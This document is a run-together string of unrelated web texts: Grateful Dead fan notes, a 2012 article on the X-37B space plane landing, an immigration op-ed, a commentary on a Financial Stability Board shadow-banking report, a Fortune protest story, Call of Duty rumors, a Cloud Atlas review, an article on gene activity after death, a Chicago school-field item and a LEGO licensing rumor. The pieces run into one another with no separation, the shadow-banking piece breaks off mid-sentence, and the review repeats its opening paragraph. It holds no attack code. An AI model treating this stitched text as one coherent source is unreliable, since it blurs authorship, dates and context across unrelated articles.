Soldier Field 6-22-91 and 6-25-92. Gloria. (Aficionados of Summer 92 unite.)
JGB 11-23-91. Some folks used to say, “On a good night they’re better than the Dead.” Allowances are made for failing to express the inexpressible. The JGB pulsed with a mysterious dynamism, primal and spiritual in a way that could make one consider the latter framework as a viable worldview.
Jerry’s B-day at The Palace on 8-1-94. Stella Blue. Bittersweet. Shattering.
Was Corrina the Prophet’s obnoxious little sister? Billy and Micky kept this beat like a Shiva Buddy Rich.
Enter the the Weir Zone. Chord changes from Bizarro Land. So counter-intuitive and eclectic. Like Victim or the Crime and Lazy Lightning and Esau and Lost Sailor and Greatest Story and the Weather Report Suite and Sugar Mag and this list could be extended. The Hendrix of rhythm guitar. The ground his critics stand upon is hollow. My only serious complaints: Why did he never play this with the Dead? And why no songs about Dachshunds other than the allusions in Estimated?
Not incidentally, this is the Dead’s finest moment in the studio and there’s an end of it. (Spoiler: The JAM!) That intro lick, as if the song emerges from a primal state into sound and fury before returning. The Wheel, too, has this structure. And Jack Straw. The pattern has precedents. A sparrow flutters into a banquet hall from a storm and flits around but a moment amidst the feasting before flying back into the storm. An ant crawls across a sliver of sun on the concrete between shadows, from darkness into a patch of light back into darkness. Sound like anyone you know?
My first encounter: I spent the better part of a weekend listening to this version, hoping that one more hearing might reveal the source of its primal, archetypal deja vu, finally realizing Playin’ In The Band was never written; it was discovered. They didn’t create it anymore than Euclid created the infinitude of prime numbers. It was always there.
Is there a parallel universe where Pigpen sang with Zappa’s band?
Do Androids Dream of The Mars Hotel?By: Mike Wall
Published: 06/16/2012 10:37 AM EDT on SPACE.com
The U.S. Air Force's robotic X-37B space plane finally returned to Earth Saturday (June 16), wrapping up a mysterious mission that lasted more than a year in orbit.
The unmanned X-37B spacecraft, also known as Orbital Test Vehicle-2 (OTV-2), glided back to Earth on autopilot, touching down at California's Vandenberg Air Force Base at 5:48 a.m. PDT (8:48 a.m. EDT, 1248 GMT). The landing brought to an end the X-37B program's second-ever spaceflight, a mission that lasted more than 15 months with objectives that remain shrouded in secrecy.
Air Force officials announced the X-37B space plane's successful landing in a brief statement posted on the Vandenberg website and emailed to reporters.
"Team Vandenberg has put in over a year's worth of hard work in preparation for this landing and today we were able to see the fruits of our labor," said Col. Nina Armagno, 30th Space Wing commander at Vandenberg. "I am so proud of our team for coming together to execute this landing operation safely and successfully." [Photos: Air Force's 2nd Secret X-37B Mission]
The X-37B stayed in orbit for 469 days this time, more than doubling the 225 days its sister ship, OTV-1, spent in space last year on the program's maiden flight. Officials at Vandenberg said the spacecraft conducted "on-orbit experiments" during its mission. The landing window for the X-37B actually opened on June 11, and was expected to close on Monday (June 18).
An X-37B robotic space plane sits on the Vandenberg Air Force base runway during post-landing operations on Dec. 3, 2010. Personnel in self-contained protective atmospheric suits conduct initial checks on the robot space vehicle after its landing.
An extended, mysterious mission
OTV-2 launched aboard an Atlas 5 rocket from Florida's Cape Canaveral Air Force Station on March 5, 2011. The space plane was designed to stay aloft for 270 days, but the Air Force kept it flying well beyond that milestone in a mission that officials recently called a "spectacular success."
"With the retirement of the space shuttle fleet, the X-37B OTV program brings a singular capability to space technology development," said X-37B program manager Lt. Col. Tom McIntyre in today's statement. "The return capability allows the Air Force to test new technologies without the same risk commitment faced by other programs. We're proud of the entire team's successful efforts to bring this mission to an outstanding conclusion."
Exactly what the spacecraft, which is built by Boeing's Phantom Works division, was doing up there for so long is a secret. The details of the X-37B's mission, which is overseen by the Air Force's Rapid Capabilities Office, are classified, as is its payload.
This secrecy has led to some speculation, especially online and abroad, that the X-37B could be a space weapon of some sort — perhaps a sophisticated satellite-killer. Some experts also suspect that the vehicle may be an orbital spy platform.
This size chart shows how the Boeing-built X-37B robot space plane compares to NASA's space shuttle, a larger version of the spacecraft called the X-37C and an Atlas 5 rocket.
The Air Force, however, has worked to tamp down such speculation, stressing repeatedly that the X-37B isn't doing anything nefarious hundreds of miles above the Earth's surface.
"This is a test vehicle to prove the materials and capabilities, to put experiments in space and bring them back and check out the technologies," Richard McKinney, the Air Force's deputy undersecretary for space programs, said shortly after OTV-1 landed in December 2010.
"My words to others who might read anything else into that is, 'Just listen to what we're telling you,'" McKinney added. "This is, pure and simple, a test vehicle so we can prove technologies and capabilities."
The X-37B looks a bit like NASA's recently retired space shuttle, but it's far smaller. The X-37B is about 29 feet (8.8 meters) long and 15 feet (4.5 m) wide, with a payload bay about the size of a pickup truck bed. Two X-37B vehicles could fit inside the payload bay of a space shuttle.
The spacecraft's orbital longevity is enabled by its solar array, which generates power after deploying from its payload bay.
Cargo and crew carrier?
While the X-37B currently flies only hush-hush missions for the Defense Department, its spaceflight role may be expanded in the future.
In its current state, the vehicle could fly cargo missions to the International Space Station, docking to the orbiting outpost's common berthing port, Boeing officials have said.
Boeing is also looking into building a larger variant of the spacecraft called the X-37C, which could ferry up to six astronauts to the space station. The X-37C would be 65 to 80 percent bigger than the X-37B.
Originally, NASA used the X-37B as an experimental test bed until funding for the project ran out in 2004. The vehicle then passed to the Defense Advanced Research Projects Agency, and it was ultimately turned over to the Air Force in 2006.
Vandenberg officials said the next X-37B mission will launch sometime later this year, most likely during autumn. That mission will use the first X-37B to fly, OTV-1, lofting it to orbit for a second flight.
Follow SPACE.com senior writer Mike Wall on Twitter @michaeldwall or SPACE.com @Spacedotcom. We're also on Facebook and Google+.
Copyright 2012 SPACE.com, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.My Turn Sun Dec 1, 2013 6:14 PM
If you’ve ever discussed immigration reform with a friend, neighbor, relative or co-worker, you’ve probably heard someone say we should just enforce the laws we already have on the books. It’s the same line we hear about preventing gun violence, cleaning up our environment, keeping workers safe on the job and preventing workplace discrimination.
The thing is, it’s not true.
Our current laws created the mess we have now.
Our problem isn’t that we’re not enforcing our laws; it’s that our laws are out of date and often impractical or unenforceable. It’s comforting to believe we could solve everything by hiring more law-enforcement agents, but that would barely scratch the surface.
If you believe immigration reform boils down to an enforcement question, consider the likely results of a nationwide crackdown. If we deported every one of the estimated 11 million undocumented immigrants in this country, it would wreak havoc on the legal economy — the loss of customers and the families suddenly without breadwinners would be just the start. No increase in Border Patrol spending will change that.
Besides, we’ve thrown money at the problem before and it hasn’t made a difference. Border Patrol enforcement costs keep going up, but the agency’s reported number of annual apprehensions has been decreasing steadily for years. The cost to taxpayers per apprehension has skyrocketed from $238 in 1990 to $10,431 in 2011, according to Business Insider. Are we happier with the results?
Undocumented immigration to the United States has slowed more or less to zero. The major policy question we’re facing today isn’t how to stop more immigration; it’s how best to respond to the presence of the millions of people already here.
The solution is to create a reasonable earned-pathway system for undocumented workers to come into compliance and start to work legally in this country. Spending billions of dollars on get-tough fantasies is not going to happen, and it would be a disaster if it ever did.
Just as importantly, the “enforce the laws we have” rallying cry ignores huge opportunities that we as a country should be taking advantage of. The Senate reform bill passed earlier this year increases the number of U.S. Customs and Border Protection officers by 3,500 over the next four years, which the University of Southern California found would create more than 115,000 new jobs and add $7 billion to the U.S. economy annually. That’s a big improvement that needs to be made today.
Unfortunately, prominent figures such as House Speaker John Boehner and Texas Gov. Rick Perry have decided that running out the clock on immigration reform is better for the Republican Party than addressing our country’s needs.
As Perry said at the Republican Governors Association meeting in Arizona last month, “I think immigration reform is going to be very passé.” Boehner said Nov. 13 that on his watch, the House won’t negotiate at all with the Senate on the issue.
That’s not a political gamble. It’s a total failure of leadership.
No one thinks our system works well right now. Even if you disagree with the efforts of comprehensive-reform advocates, you probably don’t think we’re living in the best of all possible worlds today. The status quo has no serious defenders, but it’s exactly what Boehner, Perry and their friends are keeping in place.
Everyone should be able to agree that they want a better immigration system than the one we have now.
We can disagree about what that would look like, but it’s important to move past the “enforce the laws we have” talking point.
It keeps us from having the serious conversation we need to have about what to change and how.
U.S. Rep. Raúl Grijalva, a Democrat, represents Arizona’s 3rd Congressional District.Earlier today, the Financial Stability Board (FSB), one of the few transnational financial "supervisors" which is about as relevant in the grand scheme of things as the BIS, whose Basel III capitalization requirements will never be adopted for the simple reason that banks can not afford, now or ever, to delever and dispose of assets to the degree required for them to regain "stability" (nearly $4 trillion in Europe alone as we explained months ago), issued a report on Shadow Banking. The report is about 3 years late (Zero Hedge has been following this topic since 2010), and is largely meaningless, coming to the same conclusion as all other historical regulatory observations into shadow banking have done in the recent past, namely that it is too big, too unwieldy, and too risky, but that little if anything can be done about it.
Specifically, the FSB finds that the size of the US shadow banking system is estimated to amount to $23 trillion (higher than our internal estimate of about $15 trillion due to the inclusion of various equity-linked products such as ETFs, which hardly fit the narrow definition of a "bank" with its three compulsory transformation vectors), is the largest in the world, followed by the Euro area with a $22 trillion shadow bank system (or 111% of total Euro GDP in 2011, down from 128% at its peak in 2007), and the UK in third, with $9 trillion. Combined total shadow banking, not to be confused with derivatives, which at least from a theoretical level can be said to offset each other (good luck with that when there is even one counterparty failure), is now $67 trillion, $6 trillion higher than previously thought, and virtually the same as global GDP of $70 trillion at the end of 2011.
Of note is that while the US shadow banking system has been shrinking (something our readers are aware of, and a fact which in our opinion implies there is nearly $4 trillion more in Fed monetization still to come, as Bernanke has no choice but to offset the credit destruction within shadow conduits, which in turn are deleveraging to the tune of nearly $150 billion per quarter), that of Europe has been increasing.
The result:
Aggregating Flow of Funds data from 20 jurisdictions (Argentina, Australia, Brazil, Canada, Chile, China, Hong Kong, India, Indonesia, Japan, Korea, Mexico, Russia, Saudi Arabia, Singapore, South Africa, Switzerland, Turkey, UK and the US) and the euro area data from the European Central Bank (ECB), assets in the shadow banking system in a broad sense (or NBFIs, as conservatively proxied by financial assets of OFIs15) grew rapidly before the crisis, rising from $26 trillion in 2002 to $62 trillion in 2007. The total declined slightly to $59 trillion in 2008 but increased subsequently to reach $67 trillion in 2011.
And while the the bulk of the shadow activity is contained within the 3 well-known jurisdictions (US, Europe, UK) whose credit creation capacity in the traditional banking system appears to have ground to a halt, especially in Europe where unencumbered collateral is virtually nil (thus forcing credit creation in the deposit-free, unregulated shadow space), the FSB also found previously unexplored shadow banks in some brand news venus including Switzerland, China and Hong Kong:
Expanding the coverage of the monitoring exercise has increased the global estimate for the size of the shadow banking system by some $5 to 6 trillion in aggregate, bringing the 2011 estimate from $60 trillion with last year’s narrow coverage to $67 trillion with this year’s broader coverage. The newly included jurisdictions contributing most to this increase were Switzerland ($1.3 trillion), Hong Kong ($1.3 trillion), Brazil ($1.0 trillion) and China ($0.4 trillion).
Not unexpectedly, the FSB focuses mostly on Europe, and provides the following color:
The size of the shadow banking system (or NBFIs), as conservatively proxied by assets of OFIs, was equivalent to 111% of GDP in aggregate for 20 jurisdictions and the euro area at end-2011 (Exhibit 2-3), after having peaked at 128% of GDP in 2007.
The summary is by now well-known to most who realize that the primary driver of marginal credit money creation (in Europe) and destruction (in the US) is none other than the world's shadow banking system. As per Bloomberg:
The size of the shadow banking system, which includes the activities of money market funds, monoline insurers and off- balance sheet investment vehicles, “can create systemic risks” and “amplify market reactions when market liquidity is scarce,” the Financial Stability Board said in a report, which utilized more data than last year’s probe into the sector. “Appropriate monitoring and regulatory frameworks for the shadow banking system needs to be in place to mitigate the build-up of risks,” the FSB said in the report published on its website.
Sadly, shadow banking, like every other unsustainable aspect of the foundering "modern" financial system, will not be fixed, resolved, or in way improved or made sustainable until the entire system crashes.
What is notable, is that for the first time, the issue that is the lynchpin of virtually infinite shadow banking asset "creation" courtesy of rehypothecation, a topic that came to prominence with the MF Global collapse, and which allows infinite ownership chains on the same asset to be created as long as the counterparties are solvent, to fall under the spotlight, especially the legal loophole to create infinite rehypothecation chains with zero haircuts in the UK (hence geographic arbitrage as noted below). To wit:
Requirement on re-hypothecation “Re-hypothecation” and “re-use” of securities are terms that are often used interchangeably; they do not have distinct legal interpretations. WS5 finds it useful to define “re-use” as any use of securities delivered in one transaction in order to collateralise another transaction; and “re-hypothecation” more narrowly as re-use of client assets. Re-use of securities can be used to facilitate leverage. WS5 notes that if re-used assets are used as collateral for financing transactions, they would be subject to the proposals on minimum haircuts in section 3.1 intended to limit the build-up of excessive leverage, subject to decisions taken on the counterparty scope and collateral type (sections 3.1.4 (ii) and 3.1.4 (iii), respectively). WS5 believes more safeguards are needed on re-hypothecation of client assets: Financial intermediaries should provide sufficient disclosure to clients in relation to re-hypothecation of assets so that clients can understand their exposures in the event of a failure of the intermediary. This could include, daily, the cash value of: the maximum amount of assets that can be re-hypothecated, assets that have been re-hypothecated and assets that cannot be re-hypothecated, i.e. they are held in safe custody accounts.
Client assets may be re-hypothecated by an intermediary for the purpose of financing client long positions and covering short positions, but they should not be re-hypothecated for the purpose of financing the intermediary’s own-account activities.
Only entities subject to adequate regulation of liquidity risk should be allowed to engage in the re-hypothecation of client assets. Harmonisation of client asset rules with respect to re-hypothecation is, in principle, desirable from a financial stability perspective in order to limit the potential for regulatory arbitrage across jurisdictions [ZH: ahem UK]. Such harmonised rules could set a limit on re-hypothecation in relation to client indebtedness. WS5 thinks that it was not in a position to agree on more detailed standards on re-hypothecation from the perspective of client asset protection. Client asset regimes are technically and legally complex and further work in this area will need to be taken forward by expert groups.
That the FSB has no idea how to regulate infinite rehypothecation should come as no surprise to anyone. After all, enforcing limits on creating "assets" out of thin are would limit the amount of millions Wall Street CEO can pay themselves in exchange for creating soon to be vaporized ledger entries, which they "do not recall" how those got there upon Congressional cross examination.
Finally, perhaps the most important section of all deal with what the FSB terms "Facilitation of credit creation."
Facilitation of credit creation The provision of credit enhancements (e.g. guarantees) helps to facilitate bank and/or non-bank credit creation, may be an integral part of credit intermediation chains, and may create a risk of imperfect credit risk transfer. Non-bank financial entities that conduct these activities may aid in the creation of excessive leverage in the system. These entities may potentially aid in the creation of boom-bust cycles and systemic instability, through facilitating credit creation which may not be commensurate with the actual risk profile of the borrowers, as well as the build-up of excessive leverage. Credit rating agencies also facilitate credit creation but are outside the scope as they are not financial entities. Examples may include: Financial guarantee insurers that write insurance on financial products (e.g. structured finance products) and consequently facilitate potentially excessive risk taking or may lead to inappropriate risk pricing while lowering the cost of funding of the issuer relative to its risk profile. – For example, financial guarantee insurers may write insurance of structured securities issued by banks and other entities, including asset-backed securitisations, and often in the form of credit default swaps. Prior to the crisis, US financial guarantee insurers originated more than half of their new business by writing such insurance. While not all structured products issued in the years leading up to the financial crisis were insured, the insurance of structured products helped to create excessive leverage in the financial system. In this regard, the insurance contributed to the creation of large amounts of structured finance products by lowering the cost of issuance and providing capital relief for bank counterparties through a smaller capital charge for insured structures than for non-insured structures. Because of large losses on structured finance business, financial guarantee insurers have in some cases entered into settlement agreements with their counterparties under which, for the cancellation of the insurance policies, the counterparties accepted some compensation from the insurer in lieu of full recovery of losses. In other cases, financial guarantee insurers have been unable to pay losses on insured structured obligations when due. These events exacerbated the crisis in the market.
Financial guarantee companies whose funding is heavily dependent on wholesale funding markets or short-term commitment lines from banks – Financial guarantee companies may provide credit enhancements to loans (e.g. credit card loans, corporate loans) provided by banks as well as non-bank financial entities. Such financial guarantee companies may be prone to “runs” if their funding is heavily dependent on wholesale funding such as ABCPs, CPs, and repos or short-term bank commitment lines. Such run risk can be exacerbated if they are leveraged or involved in complex financial transactions.
Mortgage insurers that provide credit enhancements to mortgages and consequently facilitate potentially excessive risk taking or inappropriate pricing while lowering the cost of funding of the borrowers relative to their risk profiles – Mortgage insurance is a first loss insurance coverage for lenders and investors on the credit risk of borrower default on residential mortgages. Mortgage insurers can play an important role in providing an additional layer of scrutiny on bank and mortgage company lending decisions. However, such credit enhancements may aid in creating systemic disruption if risks taken are excessive and/or inappropriately reflected in the funding costs of the banks and mortgage companies.
Why is this section so imporant? Because recall that in a Keynesian system, credit creation = money creation = growth. Without "facile" credit creation, there is no growth period. The problem, however, is that the world is approaching its peak credit capacity across the various verticals: sovereign, financial, corporate non-financial, shadow, and of course, household. The reality is that unless some existing debt is not eliminated to make space for future "credit creation", there simply can not be growth, and the problem is that wiping out credit, means the equity tranches below it are worthless. And that is the Catch 22, because wiping out equity somewhere in the world |
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But on Tuesday — with just three days to go until Trump’s inauguration — Robinson took a flight from his home state to New York City for the sole purpose of protesting his presidential pick outside the headquarters of banking giant, Goldman Sachs.
Under the watchful eyes of roughly a dozen police officers, Robinson, alongside some 50 other protestors holding up signs and wearing green “swamp monster masks,” decried Trump and his multiple cabinet picks who are Goldman Sachs alumni. Many of the protesters originally supported Democratic candidate Bernie Sanders during the primary.
But Robinson fits squarely into the demographic that helped carry Trump to victory. He is over 45, once worked in the manufacturing industry, and is a white male without a college degree. He said he voted for the President-elect because he thought Trump’s lack of background in politics meant he would be a breath of fresh air in Washington D.C.
“What I’ve found since his election is that he’s becoming more and more politician-like, where he says one thing, and does another,” Robinson told Fortune during the protest, which was organized by the New York Community for Change and the Resist Trump movement and is the third of its kind.
Robinson noted that while Trump criticized Wall Street on the campaign trail and promised to “drain the swamp,” the President-elect added yet another Goldman Sachs alumnus to his White House circle this week. Anthony Scaramucci joins fellow Goldman Sachs alumni including incoming White House strategist Steve Bannon, and U.S. Treasury Secretary pick, Steve Mnuchin.
While many of the protestors, who plan to stay on the sidewalk outside Goldman until Friday morning, are worried that Trump’s close ties to Wall Street and plans to ease regulation on the industry could result in consumers being exploited — or even another financial crisis — the issue of Goldman Sachs hits a little closer to home for Robinson.
He lives on disability after an accident in 2000. While he and his wife could once make holiday trips to Alaska, Robinson now gets by on one-third of his former salary—$1,538 a month from Social Security. That makes it difficult for Robinson to pay for his home in a community owned by Sam Zell’s Equity LifeStyle Properties, where rent is hiked on an annual basis.
Goldman Sachs in turn owns $53.2 million shares in that company—or 0.8% of Equity LifeStyle as of the third quarter according to filings with the Securities and Exchange Commission.
Robinson, alongside the other protestors, are also worried about Trump Treasury Secretary pick Mnuchin, who oversaw the bank OneWest during the time it foreclosed on over 36,000 homeowners.
For Robinson, those foreclosures are hard to swallow.
“I saw people in manufacturing — my neighbors — lose their jobs and homes,” he said.
But Robinson, who says he took Trump more seriously than literally, is now regretting his decision. He had largely dismissed Trump’s plans to deport Mexican immigrants and build a wall on the border between the U.S. and Mexico. Instead, he took Trump seriously on issues that he thought were doable — like cutting the government’s ties to Wall Street.
“I’m not sure that was the best decision anymore,” he said.
Goldman Sachs did not immediately respond to requests for comment from Fortune.Well it certainly looks like Call of Duty: Infinite Warfare will be set in space. After an ad from a Canadian retailer, showing box-art with a super-soldier with a space suit style helmet, this should come as no surprise. But Activision has gone out of its way to confirm the setting without actually saying so officially.
This weekend, Black Ops III players jumping into a special Nuk3town weekend discovered some changes to the map. The biggest was the addition of a huge spaceship straight off the set of Halo during the map's closing explosion sequence:
Then there was this image of a new logo with a faded (and familiar) skull face in the background:
I came up with several ideas about what Infinite Warfare might be, but it seems almost 100% certain at this point that it's both a space game, and connected somehow to the Modern Warfare (and Ghosts) franchise.
The leaked ads also suggest that a Modern Warfare remaster is being included in some versions of Infinite Warfare. While Activision isn't saying one way or another if this is true, it's hard to imagine it isn't at this point, thanks to one visually poignant tweet:
So yeah, it seems almost certain that Infinite Warfare is a space-age Call of Duty game, and that Modern Warfare is being remastered and included with some versions of the new game. That's pretty terrific, since we get---at least in some sense---the best of both worlds. We get the futuristic new game and the modern old game.
It's also neat for other reasons. Like, maybe we can expect other remasters in the future like the original Black Ops or Call of Duty: World at War.
Stay tuned for more Call of Duty: Infinite Warfare news as we continue to cover the game, including a possible official reveal this week.Cloud Atlas Movie Review The fact that Cloud Atlas works at all-- and even its naysayers admit it's never boring, even at 172 minutes-- is a marvel. The fact that it emerges intact with its deep earnestness, head-spinning number of ideas and audacious techniques is a kind of miracle, the best example of how budget and ambition can inflate but result in something personal and dazzling. Cloud Atlas is the most expensive independent film ever made, a $100 million production cobbled together from international financiers in what is quite clearly a labor of love. Directors Andy and Lana Wachowski teamed up with Tom Tykwer to adapt a novel anyone would logically call unfilmable-- six stories, set across centuries and continents, linked not through characters or plot but the headiest, and most sentimental, of themes.
The fact that Cloud Atlas works at all-- and even its naysayers admit it's never boring, even at 172 minutes-- is a marvel. The fact that it emerges intact with its deep earnestness, head-spinning number of ideas and audacious techniques is a kind of miracle, the best example of how budget and ambition can inflate but result in something personal and dazzling. Ditching the nested structure of David Mitchell's novel and instead chopping up and layering the six stories over one another, Cloud Atlas doubles down on the book's themes of souls reoccurring across time, casting 10 or so actors in multiple leading roles in different stories. It also presses hard on themes the book only hinted at, from the eternal struggle of the weak to stake their claim in society to the timelessness of love. This is all stuff that would make you change seats if someone next to you on a train started talking about it, but a movie as big, heartfelt and gorgeous as Cloud Atlas has a way of making you not just pay attention, but walk out reeling from ideas that might have seemed hokey three hours before.
Briefly, the stories. We start in the 1840s, where Adam Ewing (Jim Sturgess), an American merchant, is traveling by boat across the Pacific and befriends both a scoundrel of a doctor (Tom Hanks) and Pacific Islander slave (David Gyasi) who has stowed away and begs Ewing's help to find freedom. In the 1930s, in Scotland, the brash young composer Robert Frobisher (Ben Whishaw) has arrived, uninvited, at the home of legendary musician Vyvyan Ayrs (Jim Broadbent) and become his assistant; he seduces Ayrs's wife while also writing of all this in letters to his one true love, Sixsmith (James D'arcy). By the 1970s Sixsmith has moved to San Francisco and helps an enterprising journalist (Halle Berry) uncover a dangerous conspiracy at a nuclear plant. In the present, a publisher (Broadbent) winds up confined to a nursing home staffed by a brutal nurse (Hugo Weaving) and planning his escape. Leaping into the future, and over to the city called Neo Soul, we meet Sonmi-451 (Doona Bae), a clone who achieves a higher consciousness and teams up with freedom fighter Hae-Joo Im (Sturgess, again). And finally, way way into the future, Tom Hanks is Zachry, a primitive goat herder who speaks in pidgin English and warily befriends a woman (Berry) who holds the last knowledge of civilization "before the fall" and needs Zachry's help.
You can catch some of the themes right there, from people helping one another against what they believe is their self-interest to slaves asserting their rights. Each of the stories often play out on their own in unbroken segments of 15 minutes or so, but Cloud Atlas is at its most stirring when they're layered over each other-- watching Sonmi-451 and Hae-Joo escape government forces while the slave Autua proves his sailing skills on the ship, or watching two characters in two different timelines make nearly identical, life-altering choices. But as heavy and dramatic as Cloud Atlas can be at moments, it has a sense of wonder at its own ballsy accomplishment, a lightness and good humor that makes it so wonderfully entertaining. Watching the actors swap genders and races and many, many wigs across the timeline becomes a sort of game-- oh wait, that is Hugo Weaving in that nurse's uniform!-- that draws you in, until one of the recurrences carries with it an emotional wallop that reminds you just how invested you've become.
The closest the film comes to telling one unified story is in casting Tom Hanks in four central roles (and two cameos), going from the murderous doctor on the Pacific ship to the good-natured and eventually heroic Zachry, on the unnamed Pacific isle in the future. Hanks is probably our best, most inherently likable movie star, and as Cloud Atlas spins wildly and threatens many times to fall apart, Hanks's characters bring us back-- we want to like him, we want to see him succeed, and when he finally does, it's an emotional catharsis earned by nearly three hours of the film, by Hanks's decades-long career, and by the centuries of Cloud Atlas's stories.
Mitchell's book was so much about language and storytelling, with all six of the stories told in different literary styles, and the Wachowskis and Tykwer have wisely ditched this in favor of many different cinematic powers, from the meta-textual (we like Tom Hanks, so we like Zachry) to the thrills of genre (Sonmi-451's sci-fi story quite deliberately resembles The Matrix, while Berry's Luisa Rey is a classic accidental detective) to the simplest and most stunning of film craft (editor Alexander Berner doesn't deserve an Oscar-- he deserves a medal). Movies like Cloud Altas come around so rarely, both because cobbling together $100 million on your own is an insane feat, and because few people dream as fully and guilelessly as the Wachowskis and Tykwer have. Cloud Atlas comes to theaters a big, swimming ball of feelings and open hearts and cinematic joy: I found it impossible not to love it in return. 9 / 10 stars Rating: 4.5/5 Reviewed By: Katey Rich Blended From Around The Web
Back to topThe discovery that many genes are still working up to 48 hours after death has implications for organ transplants, forensics and our very definition of death
Robert Warren/Getty
When a doctor declares a person dead, some of their body may still be alive and kicking – at least for a day or two. New evidence in animals suggests that many genes go on working for up to 48 hours after the lights have gone out.
This hustle and bustle has been seen in mice and zebrafish, but there are hints that genes are also active for some time in deceased humans. This discovery could have implications for the safety of organ transplants as well as help pathologists pinpoint a time of death more precisely, perhaps to within minutes of the event.
Peter Noble and Alex Pozhitkov at the University of Washington, Seattle, and their colleagues investigated the activity of genes in the organs of mice and zebrafish immediately after death. They did this by measuring the amount of messenger RNA present. An increase in this mRNA – which genes use to tell cells to make products such as proteins – indicates that genes are more active.
Noble’s team measured mRNA levels in zebrafish, and in brain and liver samples from mice at regular intervals for up to four days after death. They then compared these with mRNA levels measured at the time of death.
“Hundreds of genes with different functions woke up after death, including fetal development genes”
As you might expect, overall mRNA levels decreased over time. However, mRNA associated with 548 zebrafish genes and 515 mouse genes saw one or more peaks of activity after death. This meant there was sufficient energy and cellular function for some genes to be switched on and stay active long after the animal died.
These genes cycled through peaks and dips in activity in a “non-winding down” manner, unlike the chaotic behaviour of the rest of the decaying DNA, says Noble.
Hundreds of genes with different functions “woke up” immediately after death. These included fetal development genes that usually turn off after birth, as well as genes that have previously been associated with cancer. Their activity peaked about 24 hours after death.
A similar process might occur in humans. Previous studies have shown that various genes, including those involved in contracting heart muscle and wound healing, were active more than 12 hours after death in humans who had died from multiple trauma, heart attack or suffocation (Forensic Science International, doi.org/bj63).
The fact that some genes associated with cancer are activated after death in animals, might be relevant for reducing the incidence of cancer in people who receive organ transplants, says Noble. People who get a new liver, for example, have more cancers after the treatment than you would expect if they hadn’t had a transplant. The regime of drugs they need to take for life to suppress their immune system so it doesn’t attack the new organ may contribute to this, but Noble says it is worth investigating if activated cancer genes in the donor liver could play a part.
Read more: Gunshot victims to be suspended between life and death
So why do so many genes wake up after death? It is possible that many of the genes become active as part of physiological processes that aid healing or resuscitation after severe injury. For example, after death, some cells might have enough energy to kick-start genes involved in the inflammation process to protect against damage – just as they would if the body were alive.
Alternatively, a rapid decay of genes that normally suppress other genes – such as those involved in embryological development – might allow the usually quiet genes to become active for a short period of time.
For forensic scientists, knowing how gene activity rises and falls at different time points after death is useful for working out when someone died. Measuring mRNA would allow us to nail down the time since death to hours and possibly even minutes, rather than days, helping to reconstruct events surrounding the death.
It is good to see such progress being made in this area, says Graham Williams, consultant forensic geneticist at the University of Huddersfield, UK. “But substantial work is required before this could be applied to case work.”
The research also raises important questions about our definition of death – normally accepted as the cessation of a heartbeat, brain activity and breathing. If genes can be active up to 48 hours after death, is the person technically still alive at that point? “Clearly, studying death will provide new information on the biology of life,” says Noble.
Kiss of death What happens when we die? Well, that depends on where we end up. A body that has been refrigerated and encased in a coffin could take decades to completely decompose. But out in the open, the human body can disappear in just months. Here, within minutes of death, carbon dioxide starts to accumulate in our blood, causing cells to burst open and spew out enzymes that digest tissues. Within half an hour, blood starts to pool at the lowest point, while the rest of the body turns pale. Rigor mortis then sets in as calcium ions diffuse into cells causing muscles to contract. Three days later, putrification occurs as microbes that live in our gut break down proteins, creating a repulsive odour. They produce gases that bloat the body, which after two weeks collapses. Our flesh is rapidly consumed by bacteria and maggots. Eventually, after months or years, only bones are left – minus their collagen – which succumbs to bacteria and fungi.
Journal references: BioRxiv, DOI: 10.1101/058305; DOI: 10.1101/058370
This article appeared in print under the headline “Genes get active after death”Plans for a proposed athletic field at Schurz High School would close a portion of Waveland Avenue. View Full Caption Facebook/Old Irving Park Association
IRVING PARK — A controversial proposal to build a new athletic field at Schurz High School — a plan that would entail closing a portion of Waveland Avenue — will officially be presented to members of the community at an Oct. 8 meeting to be hosted and moderated by Ald. John Arena (45th).
"I'm hopeful that they'll listen to the real purpose and genuine intent," Schurz Principal Daniel Kramer said.
Renderings of the field — which would feature a regulation-sized soccer field, football practice field and either tennis courts or softball field — surfaced online earlier this month and immediately drew fire from residents who objected to the characterization of Waveland as "unnecessary."
Patty Wetli explains why neighbors are concerned about the proposal:
In announcing the meeting, Arena said, "Please remember that the proposal is just that — a proposal — and no final decision has been made."
Kramer said he hoped to alleviate the "sense of community angst" by addressing a number of misconceptions and concerns about the project.
The idea was born out of a simple need for a better field for Schurz students, said Kramer, who characterized the school's existing outdoor athletic field as a "scrappy dirt lot."
Constructing a larger, multipurpose facility — requiring the closure of a stretch of Waveland between Milwaukee and Lowell — would allow Schurz to connect its academic building and school lawn with the athletic field and create a campus-type environment for students as well as a park-like setting for residents, he said.
The big-picture purpose of the field, Kramer said, is to help break down barriers between the neighborhood and Schurz, which is typically not the school of choice for the area's families.
"I'm looking for ways that I can get more community members over here," Kramer said.
He said he envisioned the field hosting events like tee-ball leagues or a farmers market as well as providing a green space for neighbors to enjoy, adding that renting out the field to adult sports leagues "is not a priority at all for this proposal."
"It's our fault that people don't know that," said Kramer, who conceded that residents should have been involved earlier in the process of the crafting the proposal.
"We all want Schurz to improve and thrive as a strong neighborhood school — one that draws families to the neighborhood, and one where our families are proud to send their children," Arena said in a note to constituents.
"This stage is the time to engage in a dialog about how we help Schurz improve while mitigating any potential negative impact," the alderman said.
The meeting to discuss the proposal is scheduled for 7 p.m. Oct. 8 in the Schurz library, 3601 N. Milwaukee Ave.
For more neighborhood news, listen to DNAinfo Radio here:LEGO looking to Acquire “Despicable Me” License
A new rumor around the LEGO community is that LEGO is seeking to acquire the building toy license for the animated films “Despicable Me”. The mention of the move first appeared on reddit by the user legocody, the same person that confirmed the LEGO Parisian House set. With that safety in mind, this rumor could be true and hopefully LEGO does acquire the rights to use “Despicable Me”. Here is legocody’s post:
Hello friends, my rather reliable friend has provided new and exciting info he would like me to share with you. Keep in mind that this is the same fellow who provided early exclusive pictures of the Parisian House. Keep in mind the fact that this is the same fellow who provided that false Simpsons set list. My friend says that Lego Group is attempting to negotiate a license for Despicable Me sets for the next film. He knows someone at Lego, and own a smaller toy shop in the United Kingdom. I hope this is a true thing, as I like Lego and my daughter loves the Minions. Take care and God bless.
